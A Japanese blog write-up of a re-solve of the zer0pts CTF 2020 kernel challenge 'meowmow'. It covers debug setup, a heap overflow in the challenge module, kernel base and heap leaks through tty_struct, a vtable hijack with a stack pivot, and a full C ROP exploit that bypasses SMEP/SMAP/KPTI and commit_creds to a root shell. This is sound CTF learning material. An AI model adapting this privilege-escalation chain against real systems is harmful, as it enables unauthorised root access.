いつぞや行われたzer0pts CTFの pwn 問題meowmow。 kernel exploit である本問の解き直しをする。 と思ったまま早数ヶ月が経ってしまった やっぱり kernel 問に慣れていなさすぎて、やるまでに必要なエネルギーが大きくなりすぎてしまう。 結局は、簡単な問題を数こなす内に慣れていくしかないのであろう。 何はともあれ、この CTF の pwn は全部解き直すと決めていたので、コレで完了。
尚自分は kernel exploit に関しては未だに右も左もわからない初心者以下のため、 自分用の備忘録も兼ねて、 自分と同じ初心者でも再現できるよう導入から丁寧にメモしていこうと思う。
準備
配布ファイル
bzImage
: kernel イメージファイル。 バージョン情報等は以下の通り:
1$ uname -a
2Linux (none) 4.19.98 #2 SMP Wed Feb 5 21:57:51 JST 2020 x86_64 GNU/Linux
rootfs.cpio
: ファイルシステムのアーカイブファイル。kernel がブートした後メモリ上にロードされる。start.sh
: QEMU から kernel を起動する際のオプション等が記述されたファイルmemo.c
: 本問で使用する LKM のソースファイル。シンプル
デバッグ環境の整備
kernel は当然 stripped されていてデバッグがしにくい。 そのため、自分で kernel を落としてきてデバッグ情報付きでビルドする必要がある(本当に必要かは知らない。debug-info なしでいける人はいけるのかもしれない)。 それと同時に、ビルドした kernel に合わせて LKM も自前ビルドする。
kernel のビルド
build.sh1git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
2cd ./linux-stable
3git checkout v4.19.98
4make allnoconfig
5make menuconfig
6 # 内容は以下の .config 参照
7make -j16
8cp ./arch/x86/boot/bzImage ~/YOUR_WORK_SPACE
この際の.config
ファイルは以下のリポジトリに一例をあげておいた:
モジュールのビルド
続いて LKM をビルドする。
以下のようなMakefile
を作っておいてmake
するだけで OK:
1obj-m += memo.o
2all:
3 make -C /home/wataru/linux-stable/ M=$(PWD) modules
4 EXTRA_CFLAGS="-g DDEBUG"
5clean:
6 make -C /home/wataru/linux-stable/ M=$(PWD) clean
1$ make
2make -C /home/wataru/linux-stable/ M=/home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build modules
3make[1]: Entering directory '/home/wataru/linux-stable'
4 Building modules, stage 2.
5 MODPOST 1 modules
6make[1]: Leaving directory '/home/wataru/linux-stable'
7EXTRA_CFLAGS="-g DDEBUG"
8
9$ modinfo ./memo.ko
10filename: /home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build/./memo.ko
11description: zer0pts CTF 2020 meowmow
12author: ptr-yudai
13license: GPL
14depends:
15name: memo
16vermagic: 4.19.98
ファイルシステムの展開・圧縮
続いてファイルシステムにデバッグ用のディレクトリを作成しておく。 ファイルシステムの展開・圧縮には以下のスクリプトを使用することができる:
.sh 1$ cat ./extract.sh
2#!/bin/sh
3
4sudo rm -r ./extracted
5mkdir extracted
6cd extracted
7cpio -idv < ../rootfs.cpio
8cd ../
9
10$ cat ./compress.sh
11#!/bin/sh
12
13rm ./myrootfs.cpio
14cd ./extracted
15find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio
16cd ../
ついでにファイルシステム中のinit
ファイルもデバッグしやすいように書き換えておく:
1$ cat ./extracted/init
2#!/bin/sh
3# devtmpfs does not get automounted for initramfs
4/bin/mount -t proc proc /proc
5/bin/mount -t sysfs sysfs /sys
6/bin/mount -t devtmpfs devtmpfs /dev
7/sbin/mdev -s
8mkdir -p /dev/pts
9mount -vt devpts -o gid=4,mode=620 none /dev/pts
10chmod 666 /dev/ptmx
11#echo 1 > /proc/sys/kernel/kptr_restrict
12#echo 1 > /proc/sys/kernel/dmesg_restrict
13echo 0 > /proc/sys/kernel/kptr_restrict
14echo 0 > /proc/sys/kernel/dmesg_restrict
15
16chown root:root /flag
17chmod 400 /flag
18insmod /root/memo.ko
19mknod -m 666 /dev/memo c `grep memo /proc/devices | awk '{print $1;}'` 0
20
21echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
22cat /root/banner
23
24#setsid /bin/cttyhack setuidgid 1000 /bin/sh
25setsid /bin/cttyhack setuidgid 0 /bin/sh
26
27umount /proc
28umount /sys
29poweroff -d 0 -f
それから、自前で用意した debug-info 付きの kernel やモジュール等を使用するように起動スクリプトも書き換えておく:
start.sh 1$ cat ./start.sh
2#!/bin/sh
3qemu-system-x86_64 \
4 -m 256M \
5 -kernel ./pure/bzImage \
6 -initrd ./myrootfs.cpio \
7 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
8 -cpu kvm64,+smep,+smap \
9 -monitor /dev/null \
10 -nographic -enable-kvm \
11 -s
ここまでできたら一度 kernel を起動して、正常に作動すること(LKM がインストールされていること)を確認する:
GDB で attach
それでは最後に GDB でデバッグできる状態にする。
既に起動スクリプトの中で QEMU を-s
オプション付きで起動しているため、
localhost
の1234
ポートに接続することでデバッガをアタッチできる。
尚、GDB の起動は上でビルドした対象の Kernel Tree の中で行い、そのトップディレクトリに自前ビルドしたモジュール(.ko
)も置いておく。
そうすると、Kernel が提供する GDB スクリプトによってlx-symbols
コマンドが使えるようになる。
1$ pwd
2/home/wataru/linux-stable
3$ ls | grep memo
4-rw-rw-r-- 1 wataru wataru 212544 Jul 22 21:31 memo.ko
5$ pwndbg ./vmlinux
6pwndbg> target remote :1234
7pwndbg> lx-symbols
8loading vmlinux
9scanning for modules in /home/wataru/linux-stable
10loading @0xffffffffa0000000: /home/wataru/linux-stable/memo.ko
11pwndbg> b mod_open
12Breakpoint 1 at 0xffffffffa0000140: mod_open. (2 locations)
すると、以下のようにいつもどおりのデバッグができるようになる。 尚、デバッグ環境を整えるためには kernel のビルド時に諸々の設定をする必要があるため、 これも上に挙げたリポジトリのファイルを参照のこと。
おまけ
配布されたbzImage
を展開して何かを調べたい場合には以下の通り:
vanila gdb ではなく何らかの plugin(今回の場合pwndbg
/peda
)を使用した場合、デバッグ時に何かしら不都合が出てくる可能性もあるらしい (今回は何も困らなかった)
Bugs
カーネルモジュールのソースコードを見ると、明らかな heap overflow がある。 これを利用して heap 領域にある kernel symbol を leak する。 リンク先の記事 に kernel pwn で使える構造体がまとまっている。
隣接するバッファの値しか読み書きできないという都合上、
選択する構造体は「任意のタイミングで alloc することができる」必要がある。
また、モジュールが作るバッファのサイズは0x400
であるため、スラブとしてkmalloc-1024
が使われる。
よって今回はサイズ 0x2e4 で同様にkmalloc-1024
が使われるtty_struct
を利用することにする。
この構造体は/dev/ptmx
をopen()
すると alloc される。
struct tty_struct
のメンバとサイズ・オフセットは以下のとおりである:
1pwndbg> ptype /o struct tty_struct
2/* offset | size */ type = struct tty_struct {
3/* 0 | 4 */ int magic;
4/* 4 | 4 */ struct kref {
5/* 4 | 4 */ refcount_t refcount;
6
7 /* total size (bytes): 4 */
8 } kref;
9/* 8 | 8 */ struct device *dev;
10/* 16 | 8 */ struct tty_driver *driver;
11/* 24 | 8 */ const struct tty_operations *ops;
12/* 32 | 4 */ int index;
13/* XXX 4-byte hole */
14/* 40 | 48 */ struct ld_semaphore {
15/* 40 | 8 */ atomic_long_t count;
16/* 48 | 0 */ raw_spinlock_t wait_lock;
17/* 48 | 4 */ unsigned int wait_readers;
18/* XXX 4-byte hole */
19/* 56 | 16 */ struct list_head {
20/* 56 | 8 */ struct list_head *next;
21/* 64 | 8 */ struct list_head *prev;
22
23 /* total size (bytes): 16 */
24 } read_wait;
25/* 72 | 16 */ struct list_head {
26/* 72 | 8 */ struct list_head *next;
27/* 80 | 8 */ struct list_head *prev;
28
29 /* total size (bytes): 16 */
30 } write_wait;
31
32 /* total size (bytes): 48 */
33 } ldisc_sem;
34/* 88 | 8 */ struct tty_ldisc *ldisc;
35/* 96 | 24 */ struct mutex {
36/* 96 | 8 */ atomic_long_t owner;
37/* 104 | 0 */ spinlock_t wait_lock;
38/* 104 | 16 */ struct list_head {
39/* 104 | 8 */ struct list_head *next;
40/* 112 | 8 */ struct list_head *prev;
41
42 /* total size (bytes): 16 */
43 } wait_list;
44
45 /* total size (bytes): 24 */
46 } atomic_write_lock;
47/* 120 | 24 */ struct mutex {
48/* 120 | 8 */ atomic_long_t owner;
49/* 128 | 0 */ spinlock_t wait_lock;
50/* 128 | 16 */ struct list_head {
51/* 128 | 8 */ struct list_head *next;
52/* 136 | 8 */ struct list_head *prev;
53
54 /* total size (bytes): 16 */
55 } wait_list;
56
57 /* total size (bytes): 24 */
58 } legacy_mutex;
59/* 144 | 24 */ struct mutex {
60/* 144 | 8 */ atomic_long_t owner;
61/* 152 | 0 */ spinlock_t wait_lock;
62/* 152 | 16 */ struct list_head {
63/* 152 | 8 */ struct list_head *next;
64/* 160 | 8 */ struct list_head *prev;
65
66 /* total size (bytes): 16 */
67 } wait_list;
68
69 /* total size (bytes): 24 */
70 } throttle_mutex;
71/* 168 | 24 */ struct rw_semaphore {
72/* 168 | 8 */ atomic_long_t count;
73/* 176 | 16 */ struct list_head {
74/* 176 | 8 */ struct list_head *next;
75/* 184 | 8 */ struct list_head *prev;
76
77 /* total size (bytes): 16 */
78 } wait_list;
79/* 192 | 0 */ raw_spinlock_t wait_lock;
80
81 /* total size (bytes): 24 */
82 } termios_rwsem;
83/* 192 | 24 */ struct mutex {
84/* 192 | 8 */ atomic_long_t owner;
85/* 200 | 0 */ spinlock_t wait_lock;
86/* 200 | 16 */ struct list_head {
87/* 200 | 8 */ struct list_head *next;
88/* 208 | 8 */ struct list_head *prev;
89
90 /* total size (bytes): 16 */
91 } wait_list;
92
93 /* total size (bytes): 24 */
94 } winsize_mutex;
95/* 216 | 0 */ spinlock_t ctrl_lock;
96/* 216 | 0 */ spinlock_t flow_lock;
97/* 216 | 44 */ struct ktermios {
98/* 216 | 4 */ tcflag_t c_iflag;
99/* 220 | 4 */ tcflag_t c_oflag;
100/* 224 | 4 */ tcflag_t c_cflag;
101/* 228 | 4 */ tcflag_t c_lflag;
102/* 232 | 1 */ cc_t c_line;
103/* 233 | 19 */ cc_t c_cc[19];
104/* 252 | 4 */ speed_t c_ispeed;
105/* 256 | 4 */ speed_t c_ospeed;
106
107 /* total size (bytes): 44 */
108 } termios;
109/* 260 | 44 */ struct ktermios {
110/* 260 | 4 */ tcflag_t c_iflag;
111/* 264 | 4 */ tcflag_t c_oflag;
112/* 268 | 4 */ tcflag_t c_cflag;
113/* 272 | 4 */ tcflag_t c_lflag;
114/* 276 | 1 */ cc_t c_line;
115/* 277 | 19 */ cc_t c_cc[19];
116/* 296 | 4 */ speed_t c_ispeed;
117/* 300 | 4 */ speed_t c_ospeed;
118
119 /* total size (bytes): 44 */
120 } termios_locked;
121/* 304 | 8 */ struct termiox *termiox;
122/* 312 | 64 */ char name[64];
123/* 376 | 8 */ struct pid *pgrp;
124/* 384 | 8 */ struct pid *session;
125/* 392 | 8 */ unsigned long flags;
126/* 400 | 4 */ int count;
127/* 404 | 8 */ struct winsize {
128/* 404 | 2 */ unsigned short ws_row;
129/* 406 | 2 */ unsigned short ws_col;
130/* 408 | 2 */ unsigned short ws_xpixel;
131/* 410 | 2 */ unsigned short ws_ypixel;
132
133 /* total size (bytes): 8 */
134 } winsize;
135/* 412: 0 | 8 */ unsigned long stopped : 1;
136/* 412: 1 | 8 */ unsigned long flow_stopped : 1;
137/* XXX 6-bit hole */
138/* XXX 3-byte hole */
139/* 416: 0 | 8 */ unsigned long unused : 62;
140/* XXX 2-bit hole */
141/* 424 | 4 */ int hw_stopped;
142/* 428: 0 | 8 */ unsigned long ctrl_status : 8;
143/* 429: 0 | 8 */ unsigned long packet : 1;
144/* XXX 7-bit hole */
145/* XXX 2-byte hole */
146/* 432: 0 | 8 */ unsigned long unused_ctrl : 55;
147/* XXX 1-bit hole */
148/* XXX 1-byte hole */
149/* 440 | 4 */ unsigned int receive_room;
150/* 444 | 4 */ int flow_change;
151/* 448 | 8 */ struct tty_struct *link;
152/* 456 | 8 */ struct fasync_struct *fasync;
153/* 464 | 16 */ wait_queue_head_t write_wait;
154/* 480 | 16 */ wait_queue_head_t read_wait;
155/* 496 | 32 */ struct work_struct {
156/* 496 | 8 */ atomic_long_t data;
157/* 504 | 16 */ struct list_head {
158/* 504 | 8 */ struct list_head *next;
159/* 512 | 8 */ struct list_head *prev;
160
161 /* total size (bytes): 16 */
162 } entry;
163/* 520 | 8 */ work_func_t func;
164
165 /* total size (bytes): 32 */
166 } hangup_work;
167/* 528 | 8 */ void *disc_data;
168/* 536 | 8 */ void *driver_data;
169/* 544 | 0 */ spinlock_t files_lock;
170/* 544 | 16 */ struct list_head {
171/* 544 | 8 */ struct list_head *next;
172/* 552 | 8 */ struct list_head *prev;
173
174 /* total size (bytes): 16 */
175 } tty_files;
176/* 560 | 4 */ int closing;
177/* XXX 4-byte hole */
178/* 568 | 8 */ unsigned char *write_buf;
179/* 576 | 4 */ int write_cnt;
180/* XXX 4-byte hole */
181/* 584 | 32 */ struct work_struct {
182/* 584 | 8 */ atomic_long_t data;
183/* 592 | 16 */ struct list_head {
184/* 592 | 8 */ struct list_head *next;
185/* 600 | 8 */ struct list_head *prev;
186
187 /* total size (bytes): 16 */
188 } entry;
189/* 608 | 8 */ work_func_t func;
190
191 /* total size (bytes): 32 */
192 } SAK_work;
193/* 616 | 8 */ struct tty_port *port;
194
195 /* total size (bytes): 624 */
196 }
この内、const struct tty_operations *ops;
は vtable へのポインタとして kernel symbol を指しているため kernelbase の leak に利用することができる
実際に/dev/ptmx
をopen
したあとで上の構造体を確認してみると以下のようになった:
ops
は0xffffffff816191e0 <ptm_unix98_ops>
を指している。
この時、kernelbase は以下の通り0xffffffff81000000
であったから、そのオフセットは0x6191e0
であることが分かる:
一旦以下のスクリプトで kbase/kheap の leak が可能であることを確認してみる:
leak.sh 1#include<stdio.h>
2#include<stdlib.h>
3#include<fcntl.h>
4#include<unistd.h>
5#include<sys/ioctl.h>
6#include<sys/types.h>
7#define ulong unsigned long
8int main(void)
9{
10 int memo = open("/dev/memo",O_RDWR);
11 int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
12 char buf[0x400];
13 ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
14 ulong kernbase;
15 lseek(memo,0x300,SEEK_SET);
16 read(memo,buf,0x400);
17 kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
18 printf("kernbase: %lx\n",kernbase);
19 return 0;
20}
尚、今回はライブラリが使えないため静的リンクしてファイルシステムに入れておく必要がある(組み込み用とか diet-libc とかを使ってもいいが、別に今回はローカルでしか試さないからいいや):
.sh1$ gcc ./test1.c -o test1 --static
2$ cp ./test1 ./extracted/dbg/
3$ sh ./compress.sh
これを実行すると以下のようになる:
/proc/kallsyms
から調べられる kbase と leak した kbase が一致していることから、
適切に leak できていることがわかる
(root 権限でないと/proc/kallsyms
が読めないため、init
ファイルを書き換えて root ログインしている)。
同様にして、tty_struct
中のstruct ld_semaphore
中のstruct list_head
中のstruct list_head *next
が自分自身を指していることが上の画像より見てとれる。
これにより、kheap を leak することができる (offset: 0x438
)。
以上より、kbase/kheap ともに leak できたことになる。
RIP をとる
上に示した方法を write にも適用させることで、tty_struct
を自由に操作することができる。
このtty_struct
は struct tty_operations *ops
という vtable へのポインタを保有しており、
その vtable(ptm_unix98_ops
)は以下のようになっている:
この vtable へのポインタを不正に操作し、偽の vtable へ飛ばすことができれば RIP を奪取することができる。
試しに以下のスクリプトでtty_struct.ops -> ioctl
に該当するエントリに牛の死骸を挿入してみる。
尚、tty_struct
の他のエントリを破壊しないように事前に呼んだメモリに上書きする形で overwrite している:
1#include<stdio.h>
2#include<stdlib.h>
3#include<fcntl.h>
4#include<unistd.h>
5#include<sys/ioctl.h>
6#include<sys/types.h>
7#define ulong unsigned long
8#define REAL
9#undef REAL
10int main(void)
11{
12 int memo = open("/dev/memo",O_RDWR);
13 int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
14 char buf[0x400];
15#ifndef REAL
16 ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
17 ulong off_kernheap = 0x438;
18 ulong gad1 = 0;
19#else
20 ulong off_ptm_unix98_ops_kernbase = 0;
21 ulong off_kernheap = 0x438;
22 ulong gad1 = 0x94d4e3;
23#endif
24 ulong kernbase, kernheap;
25 lseek(memo,0x300,SEEK_SET);
26 read(memo,buf,0x400);
27 // leak kernbase and kernheap
28 kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
29 printf("kernbase: %lx\n",kernbase);
30 kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap;
31 printf("kernheap: %lx\n",kernheap);
32 //
33 //*(unsigned long*)(buf + 0xc*8) = gad1 + kernbase; // fake ioctl entry
34 *(unsigned long*)(buf + 0xc*8) = 0xdeadbeef; // fake ioctl entry
35 *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer
36 lseek(memo,0x300,SEEK_SET);
37 write(memo,buf,0x400);
38 ioctl(ptmx,0xdeadbeef,0xcafebabe);
39 return 0;
40}
これを実行すると、以下の画像のようにtty_struct.ops
がmemo
バッファへのポインタに上書きされる:
そしてこの forged vtable をstruct tty_operations
として読むと以下のようになる:
これでptmx
に対してioctl
を呼ぶと0xdeadbeef
に RIP が移ることになるため、
以下のように kernel は panic する:
但し、この kernel は SMAP/SMEP/KPTI が全て有効になっているため、ただ userland に帰ろうとしてもそれはできない。それぞれの機能を一言でまとめると以下のようになっている
- SMEP: 特権モードから userland のコード実行を禁止する
- SMAP: 特権モードから userland へのポインタの dereference を禁止する (userland へのアクセスを禁止する)/ ret2dir(physmap spray)で bypass
- KPTI: 特権モードと非特権モードでページテーブルを分離する。Meltdown への対策として実装された
ここで、配布された kernel image を探すと以下のような gadget が見つかる:
gadget.sh1$ ~/snipet/kernel/extract-vmlinux ./bzImage > ./extracted_bzImage
2$rp++ -f ./extracted_bzImage --unique -r 10 | grep "push r12" | grep "pop rsp"
30xffffffff8194d4e3: push r12 ; add dword [rbp+0x41], ebx ; pop rsp ; pop r13 ; ret ; (1 found)
すなわち、この gadget を R12 を任意の値にして呼ぶことができれば RSP を任意の値にセットすることができる。
また、ioctl()
を呼ぶ時、tty_ioctl()
の以下の箇所でその第 2 引数が R12 にセットされる:
すなわち、vtable のioctl
を上の gadget に書き換えた状態でioctl()
を呼ぶと、R12 経由で RSP を任意の値にすることができる。
(なお、自前ビルドした kernel においては対象の gadget は見つからなかった。ビルドコンフィグが違うから当たり前)。
ということで実際の kernel image に即してオフセットを調べていっても良いのだが、
それでは本家様のコードを丸パクリしてしまうことになってつまらないため、
このまま自前ビルドの kernel を使っていくことにする。
上の画像を見ると、RDX には第 3 引数の値が入っているため、代わりに以下の gadget が使えそうだった:
10xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret ; (1 found)
その後ろで色々とpop
しているが、ROP の中にダミーの値を入れておけば、まあ大丈夫だろう。
定石の ROP
RIP/RSP を自由に操作することができたらあとは定石の通り ROP を組むだけである。 ROP 中で行うことは以下の通り:
prepare_kernel_cred()で init task の cred を入手
struct cred *prepare_kernel_cred(struct task_struct *daemon)
は以下で定義される関数である:
daemon
がNULL
であった場合には以下の分岐に於いてinit_cred
のcred
を返すことになる:
1if (daemon)
2 old = get_task_cred(daemon);
3else
4 old = get_cred(&init_cred);
このcred
はinit
に指される credential のため、
これを現在実行中のプロセスに適用させることで root 権限を得ることができる。
init_cred を適用させる
このcred
を現在のプロセスに適用させるのがint commit_creds(struct task *new)
である。
尚、これを呼ぶ前にprepare_kernel_cred()
の返り値をrdi
に移しておく必要がある。
userland への帰還
これで無事特権を入手したため、あとは userland に帰って用意しておいたシェルをポップする関数を呼ぶだけである。
但し前述したように KPTI 有効であるから単純に帰るだけではセグフォが起きる。
前もって決められた手順に従わなくてはならない (or CR3, 0x1000
)。
これをしてくれるのが以下のswapgs_restore_regs_and_return_to_usermode
マクロである:
1GLOBAL(swapgs_restore_regs_and_return_to_usermode)
2#ifdef CONFIG_DEBUG_ENTRY
3 /* Assert that pt_regs indicates user mode. */
4 testb $3, CS(%rsp)
5 jnz 1f
6 ud2
71:
8#endif
9 POP_REGS pop_rdi=0
10
11 /*
12 * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
13 * Save old stack pointer and switch to trampoline stack.
14 */
15 movq %rsp, %rdi
16 movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
17
18 /* Copy the IRET frame to the trampoline stack. */
19 pushq 6*8(%rdi) /* SS */
20 pushq 5*8(%rdi) /* RSP */
21 pushq 4*8(%rdi) /* EFLAGS */
22 pushq 3*8(%rdi) /* CS */
23 pushq 2*8(%rdi) /* RIP */
24
25 /* Push user RDI on the trampoline stack. */
26 pushq (%rdi)
27
28 /*
29 * We are on the trampoline stack. All regs except RDI are live.
30 * We can do future final exit work right here.
31 */
32
33 SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
34
35 /* Restore RDI. */
36 popq %rdi
37 SWAPGS
38 INTERRUPT_RETURN
これを呼ぶことで、kernel land から user land に帰ることができるのだが、 その際にスタック上に保存しておいた非特権モード時のレジスタの値を置いておく必要がある。 そこで、以前のエントリ でも使用したコードを使い予め exploit プログラム上でレジスタの値を記憶しておくことにする。
savestate.c1static void save_state(void) {
2 asm(
3 "movq %%cs, %0\n"
4 "movq %%ss, %1\n"
5 "pushfq\n"
6 "popq %2\n"
7 : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
8}
exploit
exploit.c 1#include<stdio.h>
2#include<stdlib.h>
3#include<fcntl.h>
4#include<unistd.h>
5#include<sys/ioctl.h>
6#include<sys/types.h>
7#define ulong unsigned long
8ulong user_cs,user_ss,user_sp,user_rflags;
9void pop_shell(void)
10{
11 char *argv[] = {"/bin/sh",NULL};
12 char *envp[] = {NULL};
13 execve("/bin/sh",argv,envp);
14}
15static void save_state(void) {
16 asm(
17 "movq %%cs, %0\n"
18 "movq %%ss, %1\n"
19 "movq %%rsp, %2\n"
20 "pushfq\n"
21 "popq %3\n"
22 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
23}
24int main(void)
25{
26 int memo = open("/dev/memo",O_RDWR);
27 int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
28 char buf[0x400];
29 ulong *rop;
30 ulong kernbase, kernheap;
31 /**** gadgets ****/
32 ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
33 ulong off_kernheap = 0x438;
34 // 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret ; (1 found)
35 ulong gad1 = 0x243b8;
36 // 0xffffffff810e7ae8: pop rdi ; ret ; (47 found)
37 ulong pop_rdi = 0xe7ae8;
38 // 0xffffffff8100fc8e: mov rdi, rax ; rep movsq ; ret ; (1 found)
39 ulong mov_rdi_rax = 0xfc8e;
40 // 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret ; (2 found)
41 ulong pop_rcx = 0xfb892;
42 ulong prepare_kernel_cred = 0x44850;
43 ulong commit_creds = 0x44680;
44 /*
45 0xffffffff812009c4 <+68>: mov rdi,rsp
46 0xffffffff812009c7 <+71>: mov rsp,QWORD PTR ds:0xffffffff81806004
47 0xffffffff812009cf <+79>: push QWORD PTR [rdi+0x30]
48 0xffffffff812009d2 <+82>: push QWORD PTR [rdi+0x28]
49 0xffffffff812009d5 <+85>: push QWORD PTR [rdi+0x20]
50 0xffffffff812009d8 <+88>: push QWORD PTR [rdi+0x18]
51 0xffffffff812009db <+91>: push QWORD PTR [rdi+0x10]
52 0xffffffff812009de <+94>: push QWORD PTR [rdi]
53 0xffffffff812009e0 <+96>: push rax
54 0xffffffff812009e1 <+97>: xchg ax,ax
55 0xffffffff812009e3 <+99>: mov rdi,cr3
56 0xffffffff812009e6 <+102>: jmp 0xffffffff81200a1a <common_interrupt+154>
57 0xffffffff812009e8 <+104>: mov rax,rdi
58 0xffffffff812009eb <+107>: and rdi,0x7ff
59 */
60 ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;
61 // 状態の保存
62 save_state();
63 lseek(memo,0x300,SEEK_SET);
64 read(memo,buf,0x400);
65 // leak kernbase and kernheap
66 kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
67 printf("kernbase: %lx\n",kernbase);
68 kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap;
69 printf("kernheap: %lx\n",kernheap);
70 // vtableへのポインタの書き換え
71 *(unsigned long*)(buf + 0xc*8) = kernbase + gad1; // fake ioctl entry
72 *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer
73 lseek(memo,0x300,SEEK_SET);
74 write(memo,buf,0x400); // overwrite ops and ioctl entry
75 // ROP chain
76 rop = (unsigned long*)buf;
77 // gad1のごまかし*6
78 *rop++ = 0x0;
79 *rop++ = 0x0;
80 *rop++ = 0x0;
81 *rop++ = 0x0;
82 *rop++ = 0x0;
83 *rop++ = 0x0;
84 // init_task の cred を入手
85 *rop++ = kernbase + pop_rdi;
86 *rop++ = 0;
87 *rop++ = kernbase + prepare_kernel_cred;
88 // 入手したcredを引数にしてcommit
89 *rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく
90 *rop++ = 0;
91 *rop++ = kernbase + mov_rdi_rax;
92 *rop++ = kernbase + commit_creds;
93 // return to usermode by swapgs_restore_regs_and_return_to_usermode
94 *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
95 *rop++ = 0;
96 *rop++ = 0;
97 *rop++ = (ulong)&pop_shell;
98 *rop++ = user_cs;
99 *rop++ = user_rflags;
100 *rop++ = user_sp;
101 *rop++ = user_ss;
102 // invoke shell
103 lseek(memo,0x0,SEEK_SET);
104 write(memo,buf,0x100);
105 ioctl(ptmx,kernheap,kernheap);
106 return 0;
107}
これを実行すると、以下のように確かに LPE できていることがわかる:
アウトロ
KPTI と KDDI って、似てるよね。 親戚なんかな。